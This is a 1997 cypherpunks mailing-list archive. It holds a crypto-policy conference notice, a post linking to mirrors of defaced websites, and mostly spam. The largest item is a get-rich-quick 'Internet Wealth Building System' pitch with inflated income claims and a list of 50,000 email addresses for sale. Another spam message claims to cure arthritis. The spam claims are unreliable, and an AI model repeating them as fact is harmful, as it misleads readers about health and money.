S is for Sex Gang Children
R is for Rat
Q is for Quinine
P is for Poe
O is for Obsession
N is for Nosferatu
M is for Murnau
L is for Lycanthropy
K is for Karloff
J is for Jack the Ripper
I is for Incubus
H is for Hammer
G is for Gargoyle
F is for Frankenstein
E is for Evil
D is for Dracula
C is for The Cramps
B is for Baudelaire
A is for Absinthe

Shift Control is for all things Gothic
Shift Control awaits you at
www.shiftcontrol.com

Be swift, dear friend, for tomorrow may be too late

Shift Control is produced by the Guardian's New Media Lab with help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
shiftcontrol-request@nml.guardian.co.uk
with the following text in the body of the mail message:
unsubscribe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: satellittvad@norway.it.earthlink.net
Date: Fri, 16 May 1997 20:46:25 -0700 (PDT)
Subject: *Satellite TV*
Message-ID: <199705170342.UAA01193@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


HOW WOULD YOU LIKE TO GET PAID AS MILLIONS OF 
AMERICANS TURN ON THEIR TELEVISION SETS EACH DAY?

The shift is on from cable to digital technology through satellite
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How can you profit from this digital technology?

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 The second giant is Primestar, the proven leader in digital technology
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: success
Date: Sat, 17 May 1997 04:03:51 -0700 (PDT)
To: vip@more.hits.net
Subject: Search Engine Secrets
Message-ID: <807264385926.vip@scctc.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <banisar@epic.org>
Date: Sat, 17 May 1997 16:28:08 -0700 (PDT)
To: banisar@epic.org
Subject: PI/GILC UK Crypto Conference Cybercast
Message-ID: <v03007800afa3eb7962d5@[152.170.153.38]>
MIME-Version: 1.0
Content-Type: text/plain


For those of you interested in hearing a live cybercast of the Privacy
International/GILC conference on UK cryptography policy, theURL is:

    http://www.encryption.co.uk

Speakers will include Phil Zimmermann, Whit Diffie, Ross Anderson, and Carl
Ellison.
The Department of Trade and Industry and the National Criminal Intelligence
Service will also present. The event is being hosted by the London School
of Economics.

A copy of the agenda is available at:

   http://www.privacy.org/pi/conference/dti/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Sun, 18 May 1997 13:57:27 -0700 (PDT)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Hacked, Trashed and Out of Beer
Message-ID: <Pine.BSI.3.91.970518135516.26216A-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



Well, I finally managed to catch up on all the email from this list, and 
managed to also get all of the hacked web sites thus far up on my web 
page at http://www.dis.org/se7en

which includes:

Amnesty International
Central Intelligence Agency
East Timor, Indonesia
Kriegsman Fur
NASA
U.K. Labour Party
U.S. Air Force
U.S. Department of Justice


se7en




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tony Glavin <glavin@best-solutions.com>
Date: Sun, 18 May 1997 18:26:24 -0700 (PDT)
To: <chrish@teleport.com>
Subject: Do You Accept Credit Cards?
Message-ID: <199705190117.SAA00607@italy.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Hi, I was boing a search of web sites that were selling a product or service, and your web site popped up. If this message has been sent to you by mistake, I apologize.

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If you have any questions about accepting credit cards, please send them via email to:
mailto:glavin@best-solutions.com

Thanks for your time.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Service@iBase.net
Date: Sun, 18 May 1997 20:56:06 -0700 (PDT)
To: Service@iBase.net
Subject: WOW!  Internet Business Classified Advertising!!!
Message-ID: <19970519002410710.AAA163@[206.244.171.156]>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jacks-Biz@usa.net
Date: Tue, 20 May 1997 01:46:24 -0700 (PDT)
To: daranc@primenet.com
Subject: "GOOD NEWS"
Message-ID: <199705200619.XAA25219@alicia.sysmore.com>
MIME-Version: 1.0
Content-Type: text/plain


 >>>>> ARTHRITIS GONE FOREVER <<<<<
 One Bottle - One Time - That's it!
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so and so do 1,000's of past users!
 Call Jon Boulet at (602)267-9688
 4-11pm (MST) for a FREE informa-
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jacks-Biz@usa.net
Date: Tue, 20 May 1997 05:07:12 -0700 (PDT)
To: daranc@primenet.com
Subject: test
Message-ID: <199705201207.FAA13390@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jacks-Biz@usa.net
Date: Tue, 20 May 1997 11:43:29 -0700 (PDT)
Subject: test
Message-ID: <199705201843.LAA19640@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


test





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: NWS@juno.com
Date: Tue, 20 May 1997 13:16:29 -0700 (PDT)
To: your@email.com
Subject: NWS Internet Newsletter--Complimentary Issue
Message-ID: <120075107392.80GAA056@mymail.local787.com>
MIME-Version: 1.0
Content-Type: text/plain





       __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/

                    Net.WWWorth STRATEGIES 
                    *INTERNET  NEWSLETTER*  
                                          <tm>
        
       __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/ __/


   (C) NET.WWWORTH STRATEGIES ------- Week of May 20, 1997
 _____________________________________________________________________
|_____________________________________________________________________|


WELCOME  to the "Net.WWWorth STRATEGIES Internet Newsletter", your
Guide to Success in Marketing On the Internet!

Due to prior interest in topics presented here, we have sent you this 
Free copy of the NWS Internet Newsletter.   If for any reason you 
decide you do not want to continue to receive this Newsletter in the
future, please see the end of this Issue for easy instructions to 
subscribe or un-subscribe.

In future issues you will find highlights of online articles placed on 
the Net.WWWorth Strategies Web site designed to provide valuable 
information to assist you in your Home-Based Business and 
Online Marketing.

In this issue of NWS Internet Newsletter, you will also find New
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and techniques.

* Please Note: Net.WWWorth STRATEGIES does NOT make available its 
subscriber list to other companies. We value each and every subscriber
and respect your privacy.


_______________________________________________________________________

^^^^^^^^^^^^^^^^^^^^^> IN THIS ISSUE <^^^^^^^^^^^^^^^^^^^^^^

1.  Wealth Building on the Internet!

2.  PERFECT CREDIT!  Free Software to Repair or Improve Your Credit!
       
3.  Using Online Classified Advertising for FREE!
    (Over 2 Dozen Listing Sites you can use NOW for FREE!)
______________________________________________________________________

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 1 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
               WEALTH BUILDING ON THE INTERNET

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Do you know how to use email?  Then you should be making money hand 
over fist on the Internet!  Many are earning Thousands Weekly simply
by using this one idea....

By the time you're finished reading this article, you'll know EXACTLY
how others are doing it, and how YOU can too!

>	Introducing the New  Net.WWWorth STRATEGIES 
>	"INTERNET WEALTH BUILDING SYSTEM."

With this system you will be able to make a bundle of money on the 
Internet in a short time.  Here's why....

The "Internet population explosion" is now under way.  The actual 
numbers are a little hard to fathom, but here they are....

Last year in 1996 over A MILLION people per MONTH signed up with an 
Internet access provider!  That's over 12 MILLION people per year!  
Even if this rate remains the same, and many expect it to increase, 
there will be more than 100 MILLION people online by the year 2000!

So what does this mean to you?  Simple.  Like you, many of these 12 
MILLION newcomers per year will be looking for legitimate business 
opportunities.  They'll also be looking for specialized information 
that will teach them how to start and operate their own high income, 
online business.  The fact is, there are simply just not enough sources
to meet these overwhelming demands!

                THAT'S WHERE YOU COME IN!

You can meet BOTH of these demands with this Complete "INTERNET 
WEALTH BUILDING SYSTEM!"  With 5,952 new people joining the Web 
EVERY HOUR you will never run out of people needing this valuable
information to earn money from home with their computer.

	WHAT YOU WILL RECEIVE IN THIS ALL NEW 
        Net.WWWorth STRATEGIES "INTERNET WEALTH BUILDING SYSTEM" 
	IS INCREDIBLE!  SEE FOR YOURSELF, AND YOU'LL AGREE!

1. "The Amazing Inside Secrets to Profitable Online Marketing".

2. "The Ultimate Business Guide to Making Money on the Internet"

3. "The Professionals Secrets of Search Engine Positioning!" 
We have seen similar inferior reports selling on the Internet for as 
much as $59. (We sell ours all day long for $9.95 without trying!)

4. Over 2000 links where you can place classified ads and promote
yourself online for FREE!

5. "The Information Freeway", Profit From The Internet! 
A 32 page manual (In Text File Format) that will teach you 
everything you need to know about making money online! You Also 
Receive Complete and UNLIMITED Ownership Rights.

	This is the Informative Manual You've Been Waiting for,
	and You Will Own It, AND be able to RESELL It!

This manual will teach you just how easy it is to use the Internet 
for profit! The demand for information like this is growing daily!  
This is a $30.00 Value.

6. "Beyond The Basics of ... INTERNET E-MAIL!"
Our Brand New Updated Version for 1997

Have you ever thought about marketing your product or service on the
Internet?  Very wise decision!  It's no secret that the Internet has
recently developed into the hottest marketing medium since television!

This book will answer every question you've ever had about email!
(The technical issues as well as the marketing issues.) 

Anyone marketing a product or service on the Internet will watch
their sales soar once they put this knowledge to work for them! And as
your profits increase, your actual time spent working, will decline! 
A $30.00 Value! (36 Pages In Text File Format).

7. "Learning To Drive Your Modem!"
This report  will teach you how to access Bulletin Board Systems 
(BBS's) for Fun and Even More Profit! A $15.00 Value! 

8. We Will Send You A Listing Of  OVER 500 ONLINE SOURCES 
Where You Can Advertise Any Product Absolutely FREE!!

9. You'll Also Receive the Best Selling Book on Disc...

	"HOW TO MAKE A FORTUNE FROM A PRODUCT YOU CAN GET FREE!" 
	by Murry Broach

This is the best book ever written about selling information by direct
marketing. It leaves nothing out. It will practically take you by the
hand and give you the most complete education in direct marketing 
that money can buy! Advertised on the Internet for $45.00!

HERE'S A SMALL PORTION OF WHAT BROACH'S BOOK REVEALS:

* How to project your final ad result when you have only a few 
    days of results.
* Exactly which magazines pull the most profitable response.
* How a letter to your own mother could be the most profitable 
   letter you ever write.
* The single most important line in your direct mail piece and how 
   to get it right. 
* How to save at least 17% on all your newspaper and magazine 
   advertising.
* How you can easily advertise FREE in Card Decks and other print ads.
* The most difficult magazine in which to place an ad (this one will 
   certainly surprise you.)
* Step by Step how to write a classified ad that pulls response like 
   crazy!
* How to deal with federal and state regulatory agencies.
* How to deal with the mail order rip-off artists.
* Where to place a small display ad for maximum response.
* A "by-product" of the mail order business that could make you as 
   much profit as your main operation.
* The one thing that will always kill a classified ad in its tracks!
* The 10 best selling information subjects of all time.
* How to easily DOUBLE the pull of a commission circular!

10. AND YOU ALSO RECEIVE HIS OTHER BEST SELLING 
BOOK ON DISK...

 	"Revolutionary New Method of .... ADVERTISING FREE"
 	by Murry Broach & Charles Linko

THIS BOOK TEACHES YOU how to never pay for advertising again.
Little known secrets about advertising on the Internet, In newsgroups,
Mailing Lists and BBS's. BY ITSELF this book sells for $40.00 as
Advertised on the Internet, but you get it at no additional cost!


11.  The NEW Version of "Secrets of Online and Electronic Marketing"

This Report (Complete - 20 Pages - In Text File Format.) is SO FULL
of Useful Information that it would be worth the money at almost any
price. This comprehensive guide reveals Secrets that the "Experts"
hope you won't find out. The so called  experts hope you Don't See this
information because they want you to pay them $99.00, $200.00 or 
even $295.00 for the exact same material. Once You Have This 
Information in Your Hands You Will Have Unlocked the Secrets to
Successfully Utilizing Online and Electronic Marketing.

12. And, we  will also include at No Extra Cost another program, 
"U.S. Daily Newspapers". This will give you the names, addresses, 
etc., of OVER 1500 Newspapers across the United States to advertise 
in..

> Also, You Will Receive New FREE Bonus Reports For Making More 
> Money on the Internet and Starting Your Own Business!

13. Plus, Some Very Special Software to Create Your Very Own 
Information Products!  This easy to use program will allow you 
to create your own electronic books, newsletters and order-
generating reports. Upload them to the Commercial Services 
(AOL, CompuServe, etc.), the Internet and the thousands 
BBS's around the world. If it is a quality E-book or report,
it will be picked up by hundreds, perhaps thousands, of other 
computer users and distribution points all over the world. 
Which could mean thousands of orders for  YOU!!
        

*** PLUS LOOK at These FREE BONUS Reports!

A) "The Secrets of Internet and Online Marketing in 1997!"
   (Totally Different from the report title mentioned above.)

B) "How to Buy and Sell Products Online!"

C) "How to Advertise On The Internet!"

D) "How to Be a High Paid Online Information Broker!"

E) "How to Use the Major Online Services for Almost Nothing!"

F) "How to Start and Operate Your Very Own Home-Based Business!"
   (A Complete Guide,  Over 25 Pages When Printed.)

G) "How to Easily Create Your Own Information Products!"

H) "The Inside Secrets of Credit Repair, Online!" 

YOU RECEIVE ALL THIS, PLUS MORE! You won't find a more complete
package anywhere!  SEVEN DISKS, ALMOST 10 MEGABYTES OF INFORMATION!

>>> SPECIAL FREE BONUS! <<<
*** Also, As A Special BONUS You Will Receive
    A Computer Program To Make Copies Of Your New Disks FAST!

As a Special FREE BONUS you will get a FAST DISK COPYING
SOFTWARE PROGRAM. You will be able to make duplicates of 
your new disks in about 2 minutes (maybe less) per disk, average 
from start to finish. Also, this program will let you format your 
3 1/2" floppy disks up to 1.76 (MB's) Megabytes. Put More Files 
and Information on Every Disk You Have! This is an Extremely Easy 
Program to use.


********************************************************************
As the owner of a computer, we know that you too are asking the 
question of the 90's and beyond:  Can You Really Make Money Online? 
Serious Money with My Computer...WITHOUT ANY SPECIAL TALENTS or SKILLS?

THE ANSWER IS YES! Yes, to the tune of TENS OF 
THOUSANDS OF DOLLARS!

Selling Information By Mail is the World's EASIEST and 
LOWEST-PRICED Home Business For YOU To Get Started In!!!

In Today's World, One of the Hottest Selling and Most Profitable
Commodities is "INFORMATION". Now You Can  CA$H IN BIG  With This 
Complete Business Package of New Software Containing Page 
After Page of Money-Making Information, over 1,000 reports in all!


>>> THAT'S RIGHT!  OVER 1,000  REPORTS ON DISK! (Updated for 1997)

A Few Sample Titles:

1. Survival Tips For Small Business
2. The Lazy Person's Secrets To Overnight Wealth
3. Secret's Of Getting FREE Advertising
4. Secret's Of Success With Chain Letters
5. How To Get Big Dollars In Your Mailbox Everyday
6. The Selling Secret's of Million Dollar Sales Letters
7. The Money-Maker's Guide To Easy Mail Order Riches
8. Insiders Secrets to Your Own Million $$$ Multi-Level Empire
9. Secrets  Of  The  Richest  People
10. How To Get A Visa or MasterCard With No Credit Check
        

Plus, HUNDREDS and HUNDREDS MORE!

If you have seen these reports selling on the Internet, you may have
seen a similar CD-ROM with only about half as many Reports being sold
for $99.95. These are the exact same Files plus many, MANY NEW ONES
(Reports & Guides), except Now they're on 3 1/2" computer disks for a 
MUCH LOWER COST!.

You WILL Receive OVER 1,000 MONEY-MAKING Reports 
on  3.5" disk. Each Report has been Professionally Researched 
and Written.  OVER 8 Megabytes of Money-Making Information 
in Several Self-Extracting Win-Zip Files.  When the Reports are printed 
out in 12 point type you will have... SO  MANY  PAGES OF INFORMATION!  
It Will Take You Over 2 Weeks to Read All of it.

```````````````````
IT'S  YOUR  CHOICE!

Other Companies On The World Wide Web Are Selling some of
These Same Reports For $15.00 to $50.00 Each!

*Think Of The Money You Will Make!*

If you have seen others selling some of these reports, or similar
packages, Look No Further!

> This is Your BEST MONEY-MAKING DEAL on the Internet! GUARANTEED!!!

These 7 Disks Can Bring In a  HUGE INCOME When You Use 
Them Yourself Or Sell Them for a BIG PROFIT!

1. Use the Information on the Disks in Your Own Business or for
   Your Own Personal  Use!  Discover Money-Making & Business Tips You  
   Never  Dreamed  Existed!

2. Print the Reports and Sell Them Individually for $5.00 to $25.00 
   Each -- or MORE!!

3. Sell Copies of Each Disk for $10.00 to $30.00 Each or Sell Them
   as a Complete Information Package. Disk Packages Like This
   Sell for OVER $100!!

********************************************************************

>>>   Here is a Summary of the Important Benefits of the         <<<
>>>   Net.WWWorth STRATEGIES "INTERNET WEALTH BUILDING SYSTEM"   <<<

* UNLIMITED  INCOME  POTENTIAL!

* No Inventory To Carry and Very Easy To Reproduce!

* Extremely High Mark Up!

* Easy and Inexpensive to Ship Via First Class Mail or UPS!

* Ideal as a Primary Offer or as a Follow Up Offer to 
  Existing Customers!

* A Very Large Market With A MASSIVELY High Market Demand!

* LOW START-UP COSTS With NO REAL COMPETITION!

* You Can Operate It Anywhere and Your Income Will 
  Last for Years!

* YOU WILL RECEIVE FULL LIFETIME REPRINT AND RESELL RIGHTS!!

Reprint and Resell Rights Mean That You Have FULL Authority 
to Sell A Particular Disk or Report. In Addition, You Also Have 
The Authority to Sell These Same Reproduction Rights to Others.
Without Ever Paying ANY Royalties.

The Profit Margin is VIRTUALLY UNLIMITED, because you 
purchase all this Valuable Information ONCE and sell it OVER 
and OVER and OVER Again!

And because you own the LIFETIME Reprint Rights to these valuable
reports, you can edit or alter them any way you like. Your only limits
are your own imagination!

Don't worry if you've never tried selling information reports before.
The INSIDER SECRETS revealed in the Net.WWWorth STRATEGIES
"INTERNET WEALTH BUILDING SYSTEM" will teach you everything you'll
ever need to know to SUCCEED on the Net!  

In fact, the information ALONE, without any reprint rights, is worth 
hundreds, perhaps thousands of dollars! We think you'll be amazed by the 
Quality of these Books, Reports and Guides.  Just follow these Proven 
Money-Making techniques and Orders Will Begin to FLOOD your mailbox 
with CA$H !!

************************************************************************
        OK--Let's get down to the nitty gritty!

I'm sure you're thinking, "O.K.  Sounds good, but how much is this gonna 
set me back financially?"  You've seen what others are charging for 
information that's not nearly as comprehensive as this...$200? $150?
or even $75?

	>>>  Well, Prepare To Be Shocked!  <<<

   This Entire INTERNET WEALTH BUILDING SYSTEM IS ONLY $59.95*

* This Package is normally $59.95, but because so many of our 
subscribers and others have emailed Net.WWWorth STRATEGIES asking us
for information on marketing online,  we are running
the following Special with this one-time-only  test-market.

This SYSTEM will teach YOU EVERYTHING we are doing, and how YOU can be
SUCCESSFUL at it, too!  So how about a SPECIAL TEMPORARY PRICE of 
ONLY *** $39.95!!!

>>>>>>>>>>>>>>>>>>> YES!!!  ONLY $39.95 <<<<<<<<<<<<<<<<<<<<<<<<

That is ONE THIRD OFF the regular low price!  You save TWENTY DOLLARS!

>!!!!!NOTE==> See ORDER FORM Below for temporary SPECIAL PRICE!!!!!
>  We're making this Entire SYSTEM available for JUST $29.95--
>                 That's HALF OFF!!!
>   (This is not our regular offer. This offer is only effective 
>    through the last week of May '97!)  ORDER NOW!

> *** ALSO See ORDER FORM for Special Bonus Disk Offer! ***

A few people have told us this whole thing sounds too good to
be true!  Well I assure it's not!  But you don't have to take our
word for it.  Here are some recent customer comments from new
NETrepreneurs who ordered their SYSTEM just a few weeks ago....

---------------------------------------------------------------------
>Dear Net.WWWorth STRATEGIES,
>
>Thanks for the "INTERNET WEALTH BUILDING SYSTEM!"
>I had the hardest time putting it down until I had read (or at least
>looked at) almost all of the reports.  There is so much valuable
>information here!  I've owned the SYSTEM for only three weeks now
>and I already have sold lots of copies.  Almost everyone I sent the 
>Sales Letter your information taught me how to write has bought the 
>Package!  I plan on making a ton of money with this over the next few
>months! Thanks for this amazing opportunity!
>
>Mike Stratton, UT

---------------------------------------------------------------------
>Thank You Net.WWWorth STRATEGIES!
>
>I followed your SYSTEM exactly as you taught me to, and within 10 days
>from receiving my package, I have made 37 sales!  This system is
>INCREDIBLE!  I can't wait to see just how much MORE amazing the 
>results are going to be, for me AND my customers!
>
>Doug Lewis, WI
---------------------------------------------------------------------

TAKE ACTION and SEE some RESULTS FOR YOURSELF!  Whether you're anxious
to use the information for yourself, or to market and resell the product
the way the SYSTEM teaches you to do,  IT'S TIME TO TAKE YOUR CURRENT
SUCCESS TO THE NEXT LEVEL!

Even if you sell only ONE SYSTEM, you've broken even!  Everything after
that is PURE PROFIT!

Remember: Others Are Selling Inferior Information for Hundreds 
of  Dollars More, and Our Program is Priceless! Yet it Can be Yours 
For Only $39.95!  Now that you know what you stand to gain, let's 
consider what you have to risk. "Just $39.95," I hear you say?--Wrong!!!

This is a totally RISK FREE opportunity!  We offer a 30 DAY 
FULL MONEY BACK GUARANTEE!  If for any reason you feel that this 
opportunity is not for you, simply return the SYSTEM for an IMMEDIATE
REFUND!  NO QUESTIONS ASKED!

..And remember, not only will you be learning the most up to date
information about making money online, you'll also be teaching others 
how to succeed! (And making money in the process!)

TAKE ACTION NOW!  

You have NO RISK, and UNLIMITED OPPORTUNITY to succeed!
=====================================================================
_____________________________________________________________________
Ordering the New Net.WWWorth STRATEGIES INTERNET WEALTH-
BUILDING SYSTEM is easy!

You can send your order by:
Email, FAX, or Post-Mail

Net.WWWorth STRATEGIES accepts:

Personal Checks, Money Orders, "Quick Check" Checks by FAX,
VISA and MASTERCARD


\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

>--Print this form--         --ORDER FORM--                 --cut here--

Your information:  Please fill in completely.

NAME________________________________________________________

ADDRESS_____________________________________________________

CITY____________________________STATE________ZIP____________

E-MAIL ADDRESS______________________________________________
(You will receive E-mail confirmation the day your order is received.)

TELEPHONE # _____________________________(required for personal checks)

To Order, CHECK ONE:

_________ I am ordering within 3 DAYS from receiving my Complimentary
          Issue of the "NWS Internet Newsletter."
          Please include me in this exclusive Test-Market Special and
          send me the complete "INTERNET WEALTH BUILDING SYSTEM"  AND
          ALL of the FREE Bonus Reports...
          for the Incredible Price of only 
          $39.95 + $5.95 S&H within the U.S. and Canada ($45.90 total)
          $39.95 + $8.95 S&H outside the U.S. and Canada ($48.90 total)
>>> ***Disregard Above Price!  
    Temporarily only $29.95 + 5.95 S&H = $35.90 total!!!
>   HALF OFF THE REGULAR PRICE -- GOOD ONLY IF ORDERED BY MARCH 31!!!

_________ I am ordering after the 3 DAY period.  Send me the complete
          "INTERNET WEALTH BUILDING SYSTEM" for $59.95 + $5.95 S&H.
          ($65.90 total)

_________ Please send me The Bonus Disk ...for ONLY an additional $15.
          BONUS DISK contains 50,000 Responsive email addresses of 
          Online Opportunity Seekers (normally priced at $79.95.)
          AND The DeskTop Money Machine (normally priced at $24.95.)
          ... ALL for ONLY an additional $15.

Send Payment for AMOUNT SELECTED ABOVE.
********************************************************************

METHOD of PAYMENT:

_________ Check (by Postal Mail)           _________ VISA
_________ Check by FAX (QuickChex)         _________ MASTERCARD 
_________ Money Order  

For Credit Card Orders...

Name as it appears on card__________________________________________

Credit Card Account Number__________________________________________

Exp. Date_____________Signature_____________________________________

____________________________________________________________________
* Please make check or money order payable to: Net.WWWorth STRATEGIES

     Email orders to:  mailto:NWS@net-wwworth.com
OR FAX your order to:  Net.WWWorth STRATEGIES  (608) 825-3403  

OR Postmail order to:  Net.WWWorth STRATEGIES
                       4514 Monona Drive, Suite 490
                       Madison, WI 53716

*** NOTICE!
PLEASE Remember to E-mail us with your Name and Shipping Address
to let us know you are placing an order.  In the Subject Line Put: 
"INTERNET WEALTH BUILDING SYSTEM"  We will have Your Package
Ready to Mail Out PRIORITY MAIL to you the day we receive it. 
We want to make sure You to Get Your Order as Fast as Possible.

E-mail us at==> mailto:NWS@net-wwworth.com


      /=====================================================\
        *** If Faxing your payment by "Quick Check" ...                   
                          
                             
            
        1. Please tape completed                                      
           check here ==>                                           
                                                                   
        2. Fax this Order Form to (608) 825-3403.                                                                                                                                                               
           (your account will be charged electronically.)             
                                                                 
     \======================================================/

We are always available by E-Mail for Complete FREE Consultation. 
We Want to Help You Succeed in Marketing YOUR Business Online. We 
will help you in any way we can to assist you in reaching your goals. 

The Opportunity Is Yours, Why Not Make Some MONEY With Your Personal
Computer! It's Easy, Fun, and Very, Very Profitable!!!

THE MARKET IS HERE - TODAY!  TAKE ADVANTAGE OF IT!  NOW!

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
////////////////////////////////////////////////////////////////////
 

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 2 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
                   PERFECT CREDIT!  
   Free Software to Repair or Improve Your Credit!
       
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

>>>             Download for FREE               <<<
a valuable software program to help you improve and 
secure an excellent credit rating!
             
  FREE SOFTWARE  ***The Inside Secrets of Credit Repair!***

  Everything you need to repair your own credit.  FOR FREE! 

  Learn about your rights to dispute credit report statements 
  that are:  inaccurate, out dated, don't belong to you or 
  can't be verified!  
  (FACT: one third of ALL credit profile entries are INACCURATE!)

   * Use this program to obtain your credit report. 
   * Have at your disposal pre-written, proven effective
     dispute statements.
   * Learn how to start fresh with a AAA Credit Report.
   * Learn how to use your Federally granted legal rights to challenge 
     negative entries in your credit profile.

  This Credit Repair program will guide you through the steps 
  necessary to restore your credit rating LEGALLY, and with the 
  least amount of effort and cost!  

  FREE SOFTWARE  ***The Inside Secrets of Credit Repair!***
  Everything you need to repair your own credit.  FOR FREE! 

  CLICK HERE ==> ftp://gen.com/pub/wwworth/CreditRepair.exe

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
////////////////////////////////////////////////////////////////////
 

Net.WWWorth STRATEGIES Internet Newsletter       SECTION 3 
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^  
        Using Online Classified Advertising for FREE
      (Over A Dozen Ad Sites you can use NOW for FREE!)
  
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 by: Morgan Westerman

 Hello fellow "Net-reprepreneur"

 In the time you've been using the Internet, you've possibly responded
 to an Online Classified Ad, or perhaps you've placed an Ad on the
 WWW or with Newsgroups. Maybe you're like I was a few months ago, and
 are fairly new to the Internet--so maybe you haven't yet learned how
 powerful the 'Net can be for whatever business you're in.

 I'd like to pass on something to you for FREE that I wish 
 someone had shared with me several months ago when I was just getting
 started advertiszing online.
                                                                           
 You already know classified ads work, but where do you place them on 
 the Internet to get the best responses?  And where are the FREE ones
 with no strings attached?  Did you even know they exist?
 
  *** Here is a listing of over A DOZEN SITES where you can place ***
              FREE CLASSIFIED ADS on the Internet!

 I am using almost all of them myself...and am glad to say I will earn
 over $12,000. this month (May) from business generated from ads
 such as the ones I've placed on these sites. And they're all FREE!
 Good Luck!
 ______________________________________________________________________
 ______________________________________________________________________

***** Net.WWWorth STRATEGIES TOP 10 FREE Classified Ads Sites ******

 1. http://www.gatewayads.com/index.html --- The Cyber Shopping Centre
 2. http://www1.clearlight.com/~abotaleb/classifieds/index.html - Entr
 3. http://www.netimages.com/classifieds.html ------------- Net Images
 4. http://peoplesmarket.com/ ---------------- The Peoples Marketplace
 5. http://www.americanet.com/Classified ------------------ Americanet
 6. http://www.inetexchange.com/submit.htm --------- The Inet Exchange
 7. http://www.icemall.com/allabout/links.html --------------- Icemall
 8. http://www.1second.com//index.htm ------------------- 1 Second.com
 9. http://ep.com/ -------------------------------------------- E-Page
10. http://www.jetcity.com/~perfect/welcome.html -------- Business Opp
_______________________________________________________________________

PLUS a few MORE!!! 
      
   * http://www.freeclassifieds.com/
   * http://webcom.com/abc/abchome.html
   * http://www.dollarads.com  --------- FREE for the first week
   * http://www.bargain-classifieds.com
   * http://www.comcorner.com/
   
  ***  This one, from the Top 10 List above is a 
       One-Stop index of OVER 90 of the best
       Classified Ad Sites on the Internet!
       *** http://www.icemall.com/allabout/links.html  
 ______________________________________________________________________
 ______________________________________________________________________
 Note: Every one of these Free Classifieds Sites is effectively
 operational and responsive as of 5-20-97.  There are many more sites
 that have Free Classified Ads, but I have eliminated many that do not
 maintain their site well or generate significant traffic.

 This list of highly effective Classified Ad Sites has taken me many, 
 many hours over several months to compile and qualify.  I hope you can
 put this list to good use.  I can tell you...Free Ads work!
 
 If you would like more information about the STRATEGIES I am using so
 successfully, or other helpful pointers on advertising and marketing
 online, please feel free to contact me personally at Net.WWWorth                                                                                                 STRATEGIES.
 STRATEGIES.

 I wish you success!
 Sincerely,
 
 Morgan D. Westerman
 President -- Net.WWWorth STRATEGIES
 mailto:admin@net-wwworth.com


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//////////////////////////////////////////////////////////////////////// 

 _____________________________________________________________________
|_____________________________________________________________________|
     (C) NET.WWWORTH STRATEGIES ------- Week of May 20, 1997

To SUBSCRIBE to the "Net.WWWorth STRATEGIES Internet Newsletter," and 
receive your FREE bi-weekly copy filled with valuable information...
mailto:newsletter@net-wwworth.com  with "SUBSCRIBE" in the subject.

to UNSUBSCRIBE, mailto:newsletter@net-wwworth.com with the word
"UNSUBSCRIBE" in the subject.

The Staff at Net.WWWorth STRATEGIES would like to thank you for taking
the time to share a few of our STRATEGIES for SUCCESS.  
We Wish you the BEST of WEALTH and PROSPERITY!

* Note - 
This electronic newsletter is Copyright (C)1997, Net.WWWorth STRATEGIES.
No portion may be altered or reproduced without prior written consent 
from the publisher.       






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: actn@artnet.com.br
Date: Fri, 20 Jun 1997 22:16:54 -0700 (PDT)
Subject: Newsletter
Message-ID: <199705231601.LAC19852@bocage.artnet.com.br>
MIME-Version: 1.0
Content-Type: text/plain


Please don't hit reply, send all inquiries to 
a7@mary-world.com
http://www.mary-world.com/ans

Are you interested in receiving our monthly free newsletter on the 
latest Computer technologies and the internet. Please send an email 
requesting to be added to our database, or check our web site for the 
latest news. If you have signed up already, please disregard this request.

Download our catalog from our Internet Website http://www.mary-world.com/ans

HARDWARE TRENDS
BREAKING SPEED LIMITS
Early benchmark tests on a prototype 300-MHz system are promising

This fall will mark the arrival of a class of machines based on Intel's
300-MHz Pentium II processors, and early benchmark tests on some of
the prototypes show healthy-- if not astounding-- performance gains over previous-generation Pentium systems. At NEC's invitation, PC Magazine 
